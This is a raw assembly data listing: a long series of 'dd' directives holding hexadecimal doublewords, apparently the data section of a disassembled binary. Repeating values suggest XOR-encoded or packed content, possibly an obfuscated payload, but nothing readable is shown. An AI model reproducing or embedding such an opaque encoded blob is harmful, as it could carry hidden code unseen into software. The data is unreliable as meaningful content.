		dd 0AA7E0173h, 0BF19BA2h, 881D9B6Dh, 3AFCA7AAh,	0CED457B1h
		dd 83D7ED42h, 3D5F07DAh, 0CDEA0B0Dh, 339369BBh,	0CE156622h
		dd 1611ED40h, 3D11A20Bh, 32156EC3h, 30916922h, 52156611h
		dd 36F9E7E9h, 0BB156644h, 26E24226h, 22FC3E35h,	0EF156688h
		dd 3C8C5584h, 0FE6B4CF6h, 0C7B4E108h, 0B97F0A5Fh, 0BB434250h
		dd 36D3E7C4h, 0B1156611h, 692624Eh, 0B21A3A60h,	32156623h
		dd 8370EE9h, 369C6688h,	3D17E960h, 321567AEh, 0B91A9F11h
		dd 3215669Fh, 321574ADh, 0F0C74522h, 1FFAEB50h,	6C895690h
		dd 12B54646h, 62FD73BCh, 321562A9h, 0B9D76788h,	0F6944240h
		dd 32156626h, 3214ED1Eh, 5AE96688h, 3215511Fh, 0DB3172ABh
		dd 32156616h, 6DFFD764h, 52CDEA4Ch, 4F7F4498h, 21906957h
		dd 0DB156688h, 3215664Ah, 359C66EFh, 7B62DDF2h,	95817473h
		dd 0CD741A02h, 0D23C27A7h, 0A79E9E16h, 35F54FC9h, 321FE34Bh
		dd 52756622h, 0C8E5E770h, 5329E009h, 3214EA4Bh,	0BE96622h
		dd 0D2048784h, 0A091698Fh, 0DB156644h, 32156633h, 87D87A3Fh
		dd 4B8DFCABh, 806351E5h, 72885C61h, 1601ED30h, 0B3F7EFDAh
		dd 32156286h, 36D7E722h, 0B5156611h, 5249429Ch,	68CBED17h
		dd 32156BCAh, 29FA2D11h, 5FB991A9h, 474EAA24h, 0B51A295Ah
		dd 32156611h, 6EA07D3h,	0F6963860h, 3BFC9F26h, 0D2156611h
		dd 16EC4434h, 0D4D9DB77h, 3211DD71h, 0EC146611h, 0B1317A03h
		dd 23FC6280h, 69156622h, 9148504h, 36B36454h, 90E201D7h
		dd 6BF60B63h, 0CDE971F8h, 0E5940677h, 21EF7D3Dh, 1601ED43h
		dd 0B3F2EF46h, 3215624Fh, 36D2E744h, 0B5156622h, 3D49422Dh
		dd 32157903h, 2B906944h, 0DB156622h, 32156605h,	9636D989h
		dd 0F0A35838h, 4AC8151Fh, 249A15F6h, 549F5DAFh,	321569ADh
		dd 0F3C87422h, 34461A36h, 0F966E581h, 0F8B790DDh, 643152A9h
		dd 0F4948098h, 3215668Ch, 0B511A0C7h, 0DB494216h, 3215661Eh
		dd 9A042E51h, 0F52EA438h, 3F5D96Ah, 530693D4h, 319769E8h
		dd 3D156644h, 0BE1A919Dh, 32156613h, 0CD7407E8h, 0B14C4270h
		dd 3AFC62E6h, 6E156611h, 0E572D550h, 0C7B9A2EAh, 653162A9h
		dd 0F5948198h, 3215668Ch, 0B511A1C7h, 3D49421Eh, 32156793h
		dd 0B91A9F88h, 3215664Ch, 329C6942h, 53156611h,	33B8E34Fh
		dd 321561A4h, 52E06622h, 3214E91Eh, 52E96688h, 0B5A53915h
		dd 0B7D20743h, 35F543A0h, 32156688h, 20F4E724h,	3D3CC638h
		dd 32156496h, 53A7D288h, 0E7D9DBC7h, 3D1561C5h,	32152C95h
		dd 3CFD0688h, 9B156644h, 448C2D40h, 0A6EB828Dh,	39CBFF2Bh
		dd 0C2CCE7E8h, 6D0E6661h, 0E427DC77h, 0EC88EBE9h, 521280DAh
		dd 0B0BCBFA3h, 0B61A5DB5h, 32156688h, 0DBC69925h, 3215662Dh
		dd 0C078B0CEh, 0BE2EB7F8h, 283299F9h, 0CD935AC7h, 0D2031B94h
		dd 32188F8Fh, 39296644h, 0E05C8A58h, 38B9B8D1h,	0B1D7EB9Ah
		dd 0D2031BF9h, 0B01A0225h, 321564E6h, 319E69E8h, 54156644h
		dd 0F574A5A9h, 0D2031B94h, 3215678Fh, 26946944h, 0DB156622h
		dd 3215661Eh, 8CC4BB6Ah, 4870C5C4h, 916F56A4h, 52E449B6h
		dd 3208E587h, 88756644h, 6F7D696Dh, 321577F8h, 2D81F88h
		dd 6FA5BB7Fh, 0CDDBEA74h, 11AD0EDFh, 0BF746C27h, 0D5B176C1h
		dd 64460625h, 54753E4Eh, 0A62D8009h, 0E2EA0725h, 321569CBh
		dd 39561F11h, 0D47B689Bh, 40182B83h, 0E4CF4E03h, 3212EC1Eh
		dd 0B31A6688h, 32156645h, 0AEA0EBD7h, 3D1281C7h, 32154600h
		dd 35FC0644h, 0CD156622h, 4A1ECC33h, 3FFC049Dh,	1A156644h
		dd 1C04B0F9h, 84F3C9BEh, 0DFD9F4B2h, 0C6A8EB25h, 3D128E41h
		dd 3215679Eh, 8F409E88h, 7FB470CFh, 0B31783E3h,	834A6BD4h
		dd 0BDE0E78Eh, 3304F1EAh, 0C53C3BCDh, 25A38990h, 3EFC4A2Ah
		dd 20156644h, 6176F30Ah, 0DD21512Eh, 651FEB62h,	0B13172CFh
		dd 38FC62E6h, 35156611h, 99E750E7h, 0A4ADA326h,	7FA8EDBAh
		dd 3D128619h, 32156E08h, 30956944h, 52156622h, 0CDEADF70h
		dd 3FFC9977h, 0F4156644h, 9AE0BE1Ch, 0EF113EB1h, 41BDC81Bh
		dd 3FFCA675h, 57156622h, 224D2AF0h, 0CC109488h,	0D4C05C8Fh
		dd 32717C4Ah, 1619EF11h, 32156631h, 0B8E46744h,	3BFC3F23h
		dd 98156611h, 0FC88D615h, 345AB49Ah, 0CAEDAE12h, 0CDEADC43h
		dd 0E43C9977h, 321F8F1Eh, 16BF6622h, 2B1132FBh,	0C9D3C987h
		dd 321561ADh, 0C2935C22h, 7EC32AA6h, 0B3925277h, 0DF94270h
		dd 74D575Fh, 36859FDh, 32156D61h, 3B423044h, 0D490F580h
		dd 7C9B73FDh, 0DB1D8F49h, 32156642h, 31A3F72Eh,	0F3240390h
		dd 3212E887h, 0B11A6644h, 32156623h, 3D5F9AE9h,	0CDEA390Dh
		dd 0B37306BBh, 8B7D6BE1h, 33B6D03Eh, 8D4237E9h,	6EEF18FBh
		dd 36311A0Bh, 8D103E4Eh, 52499CF6h, 321577ADh, 1F3CCB22h
		dd 2FC329B3h, 2FEF5BFBh, 0E9AA4F8Bh, 0EB94DC4Dh, 54B9A3E1h
		dd 36F9E5E9h, 0C53162CDh, 524D4236h, 3210ED1Eh,	0C6AF6688h
		dd 54232DD0h, 0DB74A8A9h, 3215661Fh, 89CC2943h,	0ACDFA421h
		dd 731C423Dh, 0B72CC29Bh, 35F57C3Dh, 32BFE24Bh,	3AFC6622h
		dd 1156611h, 0C843058Ah, 6729AC3Ch, 994DC84Ah, 0DFC43B53h
		dd 145A9309h, 8A45125Dh, 64BC01ADh, 0DAD4B6E6h,	0E740638Dh
		dd 0F73C3645h, 6FFDEF7Ah, 46DAE771h, 54169658h,	0CE6BA9C5h
		dd 0B3730643h, 8B8701FFh
		dd 76C7A01Dh, 3DD56D25h, 321578A7h, 33946911h, 0CA156688h
		dd 9F90A1B8h, 33128632h, 0DB156611h, 3215668Fh,	0E34E1E65h
		dd 6072B5AEh, 34CDCABh,	0B9C46788h, 0F6964250h,	0B9750626h
		dd 8D1A07C6h, 0C775075Eh, 320CE24Bh, 26FC6622h,	3E156611h
		dd 96CBAE3Fh, 6A9175CDh, 0A232133Ah, 0A465C7D9h, 538D92A8h
		dd 65E99E25h, 0A8481F4Ah, 0F5943936h, 40C36717h, 3B11DC16h
		dd 0E53425D2h, 0CD2E74Bh, 0BB483D5Eh, 0DA7539BDh, 3215662Eh
		dd 0B7B363FBh, 467B0AD3h, 0D0221B2Bh, 321560CAh, 62A4F411h
		dd 6BE3B882h, 0EAA2691Fh, 5B4F0E43h, 269E77C1h,	36D1E7ACh
		dd 52156644h, 0FBE2E744h, 0B91A075Ch, 32156682h, 321563ADh
		dd 0A4AC0922h, 52B89AFEh, 32157561h, 6BA44B44h,	879E70A9h
		dd 0C2D29500h, 0EC32A506h, 96269B8Dh, 3214E52Dh, 53ED6611h
		dd 29D8D301h, 3CFC61A4h, 0F3156622h, 0EB217FCAh, 26460C6Ah
		dd 42AC17D0h, 0FA7D35BCh, 691AC40Ah, 3CF09509h,	8C431563h
		dd 26E03B2h, 0F494B8E6h, 0BD7DD47Dh, 0B34B9565h, 0B71043C9h
		dd 0CE4BEF4Dh, 0B31A93D3h, 32156654h, 32156DCBh, 5423CD11h
		dd 0FBACEEE1h, 6FF4C272h, 0DCFB881Fh, 0A79069FFh, 52156688h
		dd 3211ED4Bh, 8B736622h, 0B3731806h, 5350C563h,	0EFC858C5h
		dd 0B71ABBFFh, 32156669h, 8C433774h, 5B773F1Ch,	7CE390A3h
		dd 0C39C1720h, 9C13A1D6h, 30D3553h, 5AE93F2Ch, 3215225Bh
		dd 8D315A01h, 32156640h, 0DB4A9823h, 32156601h,	0AB92673Fh
		dd 0EBCB11AEh, 0DCD943C6h, 0C9E4E25Bh, 29D8D301h, 3DE961A4h
		dd 32157FAFh, 32018F11h, 78E26688h, 6759AAA7h, 4AF741B5h
		dd 0F7E8B5F3h, 25F7401h, 34FC2EBAh, 3D156609h, 3215679Ch
		dd 0B2FC9388h, 0CBEA99BAh, 32118AA3h, 369C6611h, 38FC3DACh
		dd 6D156644h, 5AE435BFh, 8E6924F4h, 9F9055B6h, 0DB128654h
		dd 3215662Dh, 206CBDF0h, 6DB88492h, 0FF2EA6D1h,	0CA387248h
		dd 0CB16AED0h, 3453DFD9h, 0FA142836h, 1FC54F7Bh, 7C676057h
		dd 3211E087h, 81756644h, 0F2D4078Dh, 0FA249F01h, 6FFBE7E8h
		dd 0B25CA673h, 0BB74F7E1h, 0D205CB8Ch, 0DB75068Fh, 3215664Dh
		dd 9642ADD3h, 0E71B2E21h, 3D74071Ah, 32156ACAh,	32128F22h
		dd 0D4786611h, 0C0300CCCh, 32155BFCh, 0B11A6623h, 321567DEh
		dd 3219EA87h, 0B21A6644h, 32156624h, 3215E01Eh,	0C946688h
		dd 89AEDDFFh, 33A4E32Dh, 65EC6611h, 8E512437h, 70E2E74Ah
		dd 0BB1BDA66h, 1629ED2Fh, 0CB11A20Bh, 3211DD17h, 0EC146622h
		dd 0B1317A9Ah, 0DB75624Ch, 32156655h, 3F0D26FCh, 0CD3E351Eh
		dd 29EAA7CDh, 5A2D1F55h, 53EDED50h, 321DED1Eh, 0BF1A6688h
		dd 32156646h, 879C0742h, 35F57DDCh, 0B97306E8h,	0E5A269BEh
		dd 75AE0043h, 0B41A0776h, 32156682h, 321563ADh,	0BB7DD322h
		dd 0AF9E4B2Eh, 35F543E1h, 321DE34Bh, 0BA1A6622h, 32156613h
		dd 1EA07E8h, 0DE3152C5h, 0B905077Dh, 0F696421Dh, 0DEE4E78Ch
		dd 5205071Bh, 0B77DDE44h, 1E1659AAh, 674507BEh,	0DF0F0DF9h
		dd 16795704h, 0B34F3B15h, 0DF0F0D7Ah, 32188F62h, 0F6CA6622h
		dd 6B6CC61Eh, 0E1E37E4Bh, 3D8E61F5h, 321563ABh,	8D1A0611h
		dd 5275077Fh, 321561ADh, 0A94F0222h, 4B5041C1h,	60745138h
		dd 2A3162C5h, 0B956A677h, 0F6944215h, 3215668Ch, 0F2407E69h
		dd 35936961h, 3D156611h, 32156705h, 0B73E9A44h,	35F54973h
		dd 0B9739F71h, 0D2D4074Ah, 0B3730646h, 0B35869CCh, 0C1EF3CCAh
		dd 0B71607A6h, 35F57301h, 6515DE42h, 62743083h,	69E3EDEh
		dd 36D1E560h, 359D69DEh, 3D156611h, 32156700h, 0DBB89A44h
		dd 32156627h, 0B525CF56h, 1564B56h, 0FA14083Ch,	2EEDD975h
		dd 0D5D45333h, 7CF2E78Fh, 0B37B822Ah, 0B62876C5h, 71D2E77Ch
		dd 337B128Fh, 617539BCh, 0C4A2697Dh, 1651EF70h,	0DB749F94h
		dd 3215664Eh, 0B5988F71h, 0C9015E84h, 85FC49B7h, 3D156646h
		dd 321574A7h, 32188F11h, 6F956688h, 0EC7212A2h,	0DDE1E3ABh
		dd 0B3C6213Bh, 32156264h, 1619EF44h, 0F3E6E742h, 0C75E2DFAh
		dd 0D59C31E9h, 3211A1C5h, 0DD966622h, 1629E115h, 1601EFD4h
		dd 0CDA26924h, 3EFC07DAh, 6F156611h, 0E3A1A4Bh,	287D7674h
		dd 3DC30E2h, 269F69D8h,	0DB156688h, 3215664Bh, 0C5DA62Eh
		dd 50A417Bh, 0EA3ADE9Ch, 0B9199848h, 0D2064FB7h, 32128F16h
		dd 62926688h, 715163C4h, 3D175D46h, 3215CA95h, 32198F88h
		dd 0DA9B6644h, 0BC04969h, 0A31B4AB2h, 8C430D28h, 32156640h
		dd 6A31A4A3h, 0C01466B0h, 6A318C09h, 3D4B66E5h,	32157EA5h
		dd 32068F11h, 52846688h, 44723A84h, 2E2BC440h, 60140EECh
		dd 9A93C492h, 33AB30DFh, 33156622h, 26FC38E0h, 61156688h
		dd 7386183Fh, 65544A4Eh, 9171F7DBh, 8ABB45E1h, 9598E7Dh
		dd 0D20487AFh, 0B4906916h, 0CBEA9977h, 3215662Ch, 3EFC3E22h
		dd 0F8156611h, 1A89E39h, 0BBAA81A0h, 0BF3272B6h, 0D25B8E9Ch
		dd 0B71A068Fh, 3215664Bh, 32156FCAh, 0C36E3A11h, 43EB6D28h
		dd 0B84E2927h, 0D3EA07DAh, 7398EFE9h, 0DB1286A1h, 3215664Dh
		dd 0F2E8E2F4h, 19580B02h, 162199A9h, 36D1E71Eh,	3D156622h
		dd 32156397h, 0B9730688h, 6EA078Fh, 0F6963F06h,	2D7D9F15h
		dd 0BB1566A9h, 0B9ED4270h, 0D2300FBFh, 33996916h, 0C7156688h
		dd 1E9455BBh, 425F5F06h, 8C433F5Ah, 58AE59A5h, 0B3138885h
		dd 8B7A5CCh, 6CE467A7h,	7390ED70h, 3D12866Dh, 321573A9h
		dd 32058F11h, 4B836688h, 0A9E2C083h, 0CF1527FDh, 1ECD2975h
		dd 0D2C486E5h, 3212EF4Bh, 0BF1A6622h, 32156610h, 53906571h
		dd 0DB128662h, 32156625h, 0AFDAD79Ah, 3C3108Bh,	5A459AB2h
		dd 321558C8h, 6A315298h, 0DB759AD6h, 32156657h,	0C8A1058Ah
		dd 2428511Fh, 65BC324Dh, 1E4C6EA6h, 3DD2005Eh, 5474B6AEh
		dd 3D9A6925h, 0DB156644h, 32156628h, 0DD6BF9D0h, 0B425C41Ch
		dd 0D2D4F78Ah, 0B7169F20h, 35F57354h, 3218EA87h, 3AFC6644h
		dd 14156622h, 0D145E604h, 62CFE45Ah, 1611ED12h,	6C11A2A1h
		dd 32188FE8h, 37A6688h,	0D260B57Eh, 69000575h, 9F58964Dh
		dd 30389A74h, 373CC869h, 2C3E6895h, 8538AE10h, 370B4D86h
		dd 1BBB4B46h, 321575CBh, 11955811h, 409EF3Fh, 8A97DED5h
		dd 0A29F133Fh, 570C2C04h, 62315203h, 361086CDh,	37156622h
		dd 32156615h, 6E31620Fh, 0F99E0024h, 321569CAh,	85EB3F11h
		dd 686EC972h, 780AE22Ch, 858B9439h, 8F960748h, 35F55771h
		dd 0D9916945h, 52156622h, 0CB9F7DA5h, 33985DE9h, 3D12866Bh
		dd 3215BFA6h, 359E6911h, 3D156688h, 321567C0h, 0BF2E9E22h
		dd 35F55694h, 32D5E287h, 54756644h, 54255F9Bh, 0B772B490h
		dd 43985DE9h, 3D12865Fh, 3215CFA6h, 32018F11h, 0BEDC6688h
		dd 29B8406Fh, 52DCCDCDh, 2D281099h, 6C020B05h, 0AF983E6Fh
		dd 35FD52FBh, 0B3739A71h, 53AE2D56h, 3D75B5BBh,	321564A8h
		dd 0DAE2ED11h, 32156685h, 6893D29Bh, 0FEEBAA37h, 0D6111788h
		dd 6CCDED2Eh, 7E770E25h, 1E9C6622h, 0BBD0EF35h,	0B11A3B67h
		dd 32156645h, 32108FD7h, 0E1426611h, 0BB5B3988h, 0D23FA7C1h
		dd 32198F25h, 4E606611h, 0B5DEA711h, 6A384937h,	0CCFC5969h
		dd 3D15660Fh, 32157005h, 229D6944h, 0DB156622h,	3215661Ah
		dd 0DC5B7C3Eh, 35372C90h, 3D452C90h, 3215639Ah,	0B9730688h
		dd 0AF980786h, 35FD52FBh, 0BAE6E671h, 0E1EA0770h, 8F960724h
		dd 35F557DBh, 63916911h
		dd 0CB156688h, 26A4E37Fh, 0B61A61C2h, 32156639h, 36CAE7E8h
		dd 0B3484F8Bh, 221117E5h, 0B72E0707h, 35F5474Dh, 323FE34Bh
		dd 65756622h, 6BE6ED77h, 88DA109h, 0CB741D69h, 0CDEA7FCBh
		dd 32188FEEh, 0E5A66688h, 0C5119CCEh, 39571CBBh, 52CBA241h
		dd 53E2D987h, 634E37Fh,	0B71A61C2h, 32156665h, 321EE087h
		dd 34FC6644h, 0A7156622h, 2184D593h, 8F969AA4h,	35F570F5h
		dd 916922h, 52156611h, 97D11130h, 321B8F0Ch, 614C6622h
		dd 0A422A75Ch, 0FBE0565h, 0EF587126h, 9FA8E543h, 32128614h
		dd 323BE287h, 34FC6644h, 9B156622h, 0CEE7C7EBh,	5690EB37h
		dd 0CE1281F9h, 0CDEBFFCBh, 239E69EEh, 0DB156688h, 32156648h
		dd 0ED6FB2Dh, 1E3CECD5h, 6C530FE4h, 634E37Fh, 0B61A61C2h
		dd 0CDEA9867h, 0EA9530E8h, 0F6953DE4h, 0B21A0783h, 32156616h
		dd 0F29400E8h, 0B17496F6h, 0D5C0D69Fh, 0B71A6716h, 321566B5h
		dd 0D6905DBDh, 3D1281F7h, 32155694h, 0B7989F88h, 324C6DA0h
		dd 3213EE2Dh, 63756611h, 534C31D2h, 321574ADh, 0B6F92122h
		dd 9AA2FB2h, 0A3727B2Ah, 31120F1Bh, 0DBA64B82h,	0CDEA9854h
		dd 3DEA5771h, 321561CEh, 0E59E0622h, 53C6ED77h,	107CDB0Bh
		dd 3D1561A4h, 3205E5A6h, 32048F11h, 7B9A6688h, 3FCE73A7h
		dd 7D3E65E2h, 49E66328h, 52CB9356h, 0B9F6E722h,	0E29400BBh
		dd 9740056h, 0D5C0B60Dh, 1A906943h, 52156622h, 68FED877h
		dd 53068E08h, 3334E3CFh, 67EC61C2h, 0CDEA99ACh,	6FFA4F77h
		dd 32156CADh, 27318D22h, 907A667h, 94A707Fh, 0D5C0BEC1h
		dd 19906925h, 0CE156611h, 22C4E303h, 0B97561A4h, 894607F8h
		dd 0CDEA99EEh, 0DB4EB9A1h, 32156656h, 0F92E70D9h, 6F2D1250h
		dd 11EC9DE6h, 63C84FAh,	0B72EC00Bh, 35F2B3C5h, 323EE387h
		dd 52E96644h, 0CFF3E7DBh, 53207A7Dh, 2D88E303h,	39FC61A4h
		dd 0EC156622h, 6080276Bh, 2FA9D7CEh, 67E9B3D5h,	0CDEA999Fh
		dd 6FFA4FEEh, 0EE905D70h, 3D128191h, 32153EA7h,	20956911h
		dd 0DB156688h, 32156649h, 748B9530h, 0BDA130E4h, 0F16F36C9h
		dd 390EDB7h, 3D12860Eh,	32157294h, 3C926988h, 0DB156644h
		dd 3215662Bh, 0E8F8F17Ah, 4213BE51h, 39AF3441h,	0B37B3042h
		dd 9B8A92E3h, 68C24F19h, 32156AADh, 0E502FA22h,	0FBBBE48Fh
		dd 0A949D225h, 0D2905D86h, 3D1281F7h, 32152994h, 0BB1A0688h
		dd 32156647h, 3D9494A2h, 32157399h, 321A8E88h, 8A676644h
		dd 70A4324Fh, 0F7E502C1h, 0FC192E86h, 0B974393Bh, 0D2334BA7h
		dd 32128F16h, 96156688h, 75C2E0FFh, 33AE3514h, 33156611h
		dd 0B41A3D57h, 32156645h, 339C69D7h, 0CE156611h, 0E7F1E3B3h
		dd 0B71A61A3h, 32156618h, 321560F8h, 3480FB88h,	0B96B6F2Fh
		dd 0D22153A7h, 32108F16h, 63F46688h, 61BFDAECh,	32156799h
		dd 69CA6711h, 32157761h, 0E36C8E44h, 5AFF1A0h, 9BE0DD58h
		dd 2D68A15Eh, 0B72EE089h, 35F2B3CAh, 3256E31Eh,	0B21A6688h
		dd 32156643h, 3214E72Dh, 0B9E06611h, 0D206DF0Dh, 8B449F43h
		dd 32156623h, 0C74CA910h, 0EC9E00E8h, 321568ACh, 45703822h
		dd 18D578D2h, 0FDFC13DAh, 0DB622581h, 32156625h, 0E4D889BCh
		dd 6AA5078Bh, 0DE905D25h, 3D1281F7h, 32152E94h,	39FD0688h
		dd 0A4156644h, 762ACCFCh, 3D2B81ACh, 6847B172h,	8CAC001Ah
		dd 0B79E07B7h, 35F562A4h, 33AC3771h, 33156644h,	0B81A3FEDh
		dd 32156608h, 32157261h, 5EEF4444h, 0EA33BADDh,	7AF37FDCh
		dd 1104E31Ch, 0C663C7D2h, 0C2905DA4h, 3D1281C4h, 32152D0Dh
		dd 8A730644h, 6A45E617h, 2F90ED70h, 3D12869Ah, 32156AC0h
		dd 349B6922h, 3D156611h, 3215660Fh, 0F2AC3744h,	0F33BD843h
		dd 0E3E260F0h, 1DA78709h, 0C3941B50h, 2F7703CBh, 3473A790h
		dd 0DB946FD6h, 64D11686h, 524CA90Bh, 5336AC91h,	0E7E1E3B3h
		dd 0B71A61A3h, 32156615h, 285FD971h, 0B973487Fh, 0B79E07BEh
		dd 35F57FF7h, 32138FE4h, 0BCE6688h, 5D60B63Dh, 419DDF73h
		dd 0F35C626Ch, 0B35C6369h, 639A4485h, 6BDA6752h, 3214E31Eh
		dd 9E06688h, 0D5C09AC1h, 0B906925h, 0C7156611h,	534F34E8h
		dd 23A4E3CFh, 3DE061C2h, 32156E92h, 30926988h, 52156644h
		dd 0CDAC3743h, 1BEA99EEh, 0B9753F47h, 321F8E9Bh, 4D126622h
		dd 357EC261h, 0A881216Dh, 534B3914h, 0E7EDE319h, 0B71A61F6h
		dd 321566B2h, 3200EA4Bh, 0B11A6622h, 3215661Eh,	32156C61h
		dd 0C5B58B44h, 88FCE047h, 0B10A6918h, 0D2153735h, 0B71A6643h
		dd 32156630h, 0A790EDE4h, 0CA1286A7h, 3214DC16h, 0E5146622h
		dd 8F969E4Bh, 35F56E55h, 65916944h, 0C7156622h,	0E491E32Ah
		dd 0B71A616Fh, 3215660Eh, 321577CBh, 7279D311h,	0EBBD82AEh
		dd 43F0073Ah, 8451049Ah, 0B79ED929h, 35F561E5h,	321568ADh
		dd 0ACD46422h, 0C38D0455h, 1BCF7B2Fh, 6189B058h, 0F421AB99h
		dd 34F6A775h, 0C194B57Fh, 3985504h, 3D4EB90Bh, 32156799h
		dd 8F969F88h, 35F56211h, 6916922h, 0DB156613h, 3215668Dh
		dd 0F9D996B1h, 1BA8E582h, 32128607h, 3008E287h,	0DB756644h
		dd 32156632h, 9A8091C1h, 9CEF3248h, 9FC04D75h, 32907BAAh
		dd 974A59Ah, 0D5C30E0Dh, 1A906943h, 52156622h, 8873BBA6h
		dd 0B9747EF2h, 0D2107FC1h, 2CAC0625h, 3D4EEF4Ch, 6774BE37h
		dd 0CDEA99F9h, 6FFA4FDDh, 3214E81Eh, 9E96688h, 0D5C31EC1h
		dd 5C906925h, 0C7156611h, 32068FE8h, 82ED6644h,	7907564Ch
		dd 6EAB13F8h, 0EA715E8Dh, 60BE646Fh, 0B79E07AEh, 35F56268h
		dd 3214E087h, 52E06644h, 0D7CDE744h, 349B6980h,	3D156688h
		dd 321566C5h, 88470722h, 5F3250D3h, 520FAC09h, 70573A01h
		dd 0B3CF9160h, 0AA9C42FBh, 68C24F0Ah, 321E8F24h, 0FAF16622h
		dd 3876F0D4h, 95B13A47h, 0B3733192h, 6B3D9CD5h,	5E905D70h
		dd 3D12815Eh, 321520C1h, 0B3730622h, 53A9A6DAh,	2498E303h
		dd 23FC61A4h, 0DC156622h, 0C9E4E25Bh, 800983B2h, 35D8E0C5h
		dd 0C6EEDD45h, 6D75DB44h, 0DF944A78h, 66622880h, 0C51D83E3h
		dd 33F8E7CCh, 1B9389ECh, 54753BABh, 0B294E69Ch,	9742BE7h
		dd 0D5C31A0Dh, 1B906943h, 0C7156622h, 2B7CE39Ah, 0B2756168h
		dd 8375709Bh, 4A3CDFA9h, 53743566h, 737CDED8h, 375D0519h
		dd 0AEB7D8B5h, 524DA138h, 53E99E39h, 0E495E37Fh, 0B71A61C5h
		dd 3215663Fh, 32156B61h, 0A4DD9944h, 0EBCA45CAh, 49F47C7Ah
		dd 0B79EE60Ch, 35F54B75h, 0E11ADD42h, 0B373134Fh, 5375D86Ah
		dd 3214DF15h, 0FD146622h, 0B72E9E48h, 35F2B0F8h, 3253E34Bh
		dd 0B9E96622h, 0D20AAF94h, 0C395068Fh, 88470790h, 187B1A47h
		dd 1FB78490h, 0D8941BDAh, 5C87457Eh, 6EC8ACA3h,	0D8943392h
		dd 52B33203h, 5144ACC5h, 0F0943272h, 10B7F29Dh,	524FB189h
		dd 63ECD14Bh, 3215EE2Dh, 534F6611h, 0E461E3B3h,	0B71A61A3h
		dd 32156615h, 321575F8h, 1C318888h, 0F4F2F3C0h,	41D69C41h
		dd 7DDC569Ah, 0A6E54BFFh, 29F0E3CFh, 3DED61C2h,	32156E9Bh
		dd 30986988h, 52156644h, 33AD3643h, 33156611h, 0B1ED3E4Fh
		dd 0D2034FF9h, 0B61A6625h, 32156C51h, 32905D7Dh, 3D128192h
		dd 32152AA7h, 32108F11h, 0AA056688h, 3D8DA8ABh,	321570AEh
		dd 32048F11h, 999E6688h, 7A6BE8C1h, 0E85A90BEh,	8780C452h
		dd 0B92E5873h, 0D208B3C1h, 0D9940625h, 3867552h, 65749C03h
		dd 333162C7h, 3899697Dh, 0DB156611h, 3215668Dh,	0B863B91Eh
		dd 0A6905D71h, 3D1281C7h
		dd 3215260Dh, 209F6944h, 0DB156622h, 3215661Ch,	0F26D567Ch
		dd 53C56340h, 14185FA5h, 0D390EDBEh, 0DB1286A6h, 3215664Dh
		dd 9B644225h, 0C7872B1Bh, 93AB3072h, 0C537DC18h, 0B3C391FCh
		dd 77B607D7h, 6CE26755h, 36905DB8h, 3D1281F4h, 32154E94h
		dd 54759388h, 5385B6FFh, 2840E3A9h, 63ED61F1h, 0CDEA9931h
		dd 6BDA4FBBh, 34956942h, 3D156611h, 32156606h, 5317D544h
		dd 3A905DD7h, 3D1281C7h, 3215780Dh, 33906944h, 0C7156622h
		dd 2BB4E39Ah, 62ED6168h, 0CDEA99FCh, 6AD24FDDh,	88739E71h
		dd 9749C4Ch, 0D5C36AC1h, 7B906925h, 0DB156611h,	32156687h
		dd 0AE3ED46Ah, 1FB78DA9h, 71E2B83Ch, 0DB764221h, 3215664Fh
		dd 7D97BF36h, 365F427h,	0B9D870FDh, 0D202A7C1h,	8F409E25h
		dd 32156610h, 0DB488989h, 32156654h, 2E7D6474h,	161D81F6h
		dd 0F312A1D8h, 3DCDCEDh, 0E405E319h, 0B71A61F6h, 321566D1h
		dd 32156FADh, 0CC653F22h, 56EB5299h, 8F96A3DEh,	35F56615h
		dd 0C906922h, 0CA156611h, 10E4E303h, 0BA1A61A4h, 3215663Ah
		dd 321575F8h, 4DCB4388h, 6FFBAFC5h, 5F527256h, 6A825688h
		dd 0EA7B4E7Dh, 0CDEADD17h, 0ED3C99DDh, 389C694Ah, 52156688h
		dd 3215E84Bh, 0A8A36622h, 26905D70h, 3D12815Eh,	321551C1h
		dd 0BE1A9E22h, 3215661Bh, 3D4B36E8h, 321566C1h,	0B79E0722h
		dd 35F56658h, 3210E187h, 0B2756644h, 0B374ECFFh, 321562FDh
		dd 1629EF88h, 6D3162BBh, 0E6AC06DAh, 534FDFF0h,	0E40DE3B3h
		dd 0B71A61A3h, 32156608h, 63A8E5E9h, 32128688h,	3209E34Bh
		dd 0B9ED6622h, 0D2009F94h, 8C439F8Fh, 1FD6685Eh, 0E4E2B8D5h
		dd 0C3F3A090h, 0C53CB4B4h, 0B72E9E1Ah, 35F2B03Eh, 3228E31Eh
		dd 26FC6688h, 0D6156644h, 4EACD3E1h, 87BB906Ch,	0D52474CEh
		dd 0DEE8DEA6h, 0B9F80DB8h, 0D208A794h, 0CD429E8Fh, 0E9E4240h
		dd 36D1E506h, 321568F8h, 5EC6E588h, 50DDDD02h, 22B48E16h
		dd 9C259A2h, 0D5C3460Dh, 0C906943h, 0CA156622h,	321DEA1Eh
		dd 0B2756688h, 851A99AEh, 0B79E07D8h, 35F55258h, 0C39400E8h
		dd 60748042h, 126B8C98h, 0D8942C22h, 1351860h, 3D4FB145h
		dd 32156AA0h, 349C6911h, 3D156688h, 321566CEh, 1A905D22h
		dd 3D1281C7h, 32150F0Dh, 0FB940644h, 3C58A7F7h,	53ECD91Eh
		dd 32157761h, 0DD435844h, 2F2E161Eh, 0F2523797h, 74B3C275h
		dd 8F967009h, 35F56673h, 9906911h, 3D156688h, 321567CAh
		dd 0B79E9E22h, 35F5476Ch, 33AC3771h, 33156644h,	3D753FEDh
		dd 32157F98h, 32018F88h, 0E9156644h, 4BAE7B6Ch,	22C58823h
		dd 8BB34740h, 37A5F38Bh, 8D1AC316h, 0B72E07CAh,	35F2B0ACh
		dd 3290E34Bh, 0BA1A6622h, 32156619h, 3217EA87h,	53756644h
		dd 3244DBA1h, 3D1561F1h, 32150C0Dh, 32068F44h, 0A5FE6622h
		dd 0C2C28F7Ch, 43706E76h, 2A3BD67Ch, 0FEC2B59h,	0B79E9EA9h
		dd 35F557E1h, 321572ADh, 29CF9122h, 51E0F373h, 792F1F7Bh
		dd 0FFADB415h, 35FDBDBh, 0CDAE351Eh, 1BEA9977h,	3D753D9Bh
		dd 321565A1h, 0E4A26911h, 1FF59C37h, 26FC0726h,	0B5156622h
		dd 3E7D7436h, 0CEAEEC66h, 0A0368B12h, 702E7959h, 9D78C93h
		dd 0D5C34A0Dh, 0A3906943h, 3D156622h, 32156C95h, 0BF1A0688h
		dd 32156644h, 0B9743871h, 0D20CFF94h, 0DA46068Fh, 3215664Ch
